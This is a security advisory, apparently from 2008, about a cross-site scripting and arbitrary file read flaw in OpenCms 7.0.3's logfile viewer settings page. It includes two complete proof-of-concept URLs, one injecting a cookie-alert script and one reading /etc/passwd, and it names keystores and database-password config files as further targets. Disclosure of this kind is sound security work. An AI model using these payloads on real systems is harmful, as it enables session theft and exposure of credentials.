Alkacon OpenCms logfileViewSettings.jsp XSS, file disclosure

2008.03.12
Credit: nnposter
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-79

Alkacon OpenCms logfileViewSettings.jsp XSS, file disclosure Product: Alkacon OpenCms http://www.opencms.org/ OpenCms contains a vulnerability in the Logfile Viewer Settings function. Input to Parameter filePath.0 in page opencms/system/workplace/admin/workplace/logfileview/logfileViewSettings .jsp is not sufficiently validated and/or sanitized. This can be exploited as a cross-site scripting issue but also as a file access issue, which allows a disclosure of arbitrary files that are readable in the OS security context of the JSP container process. The resulting page even has a "Download" button, which facilitates retrieving binary files. Possible targeted files could be /etc/passwd, /proc pseudo-files, Java keystore, OpenCms configuration file (with database password), etc. Only OpenCms users in administrator roles have access to the vulnerable URL, which partially reduces the severity of the file disclosure aspect. Example 1 (XSS): http://(target)/opencms/system/workplace/admin/workplace/logfileview/log fileViewSettings.jsp? isLogfile.0=true&isLogfile.0.value=true&enabled.0=true&enabled.0.value=t rue &ok=Ok&action=save &closelink=%252Fopencms%252Fopencms%252Fsystem%252Fworkplace%252Fviews%2 52Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Fworkplace%252Flogfileview &elementname=undefined&page=page1&style=new &path=%252Fworkplace%252Flogfileview%252FlogfileViewSettings &elementindex=0&framename=admin_content&windowSize.0=8000&fileEncoding.0 =UTF-8 &filePath.0=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fs cript%3E Example 2 (retrieving /etc/passwd): http://(target)/opencms/system/workplace/admin/workplace/logfileview/log fileViewSettings.jsp? isLogfile.0=true&isLogfile.0.value=true&enabled.0=true&enabled.0.value=t rue &ok=Ok&action=save &closelink=%252Fopencms%252Fopencms%252Fsystem%252Fworkplace%252Fviews%2 52Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Fworkplace%252Flogfileview &elementname=undefined&page=page1&style=new &path=%252Fworkplace%252Flogfileview%252FlogfileViewSettings &elementindex=0&framename=admin_content&windowSize.0=8000&fileEncoding.0 =UTF-8 &filePath.0=%2Fetc%2Fpasswd The vulnerability has been identified in version 7.0.3. However, other versions may be also affected. Solution: Users should not browse untrusted sites while logged into OpenCms. Found by: nnposter


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top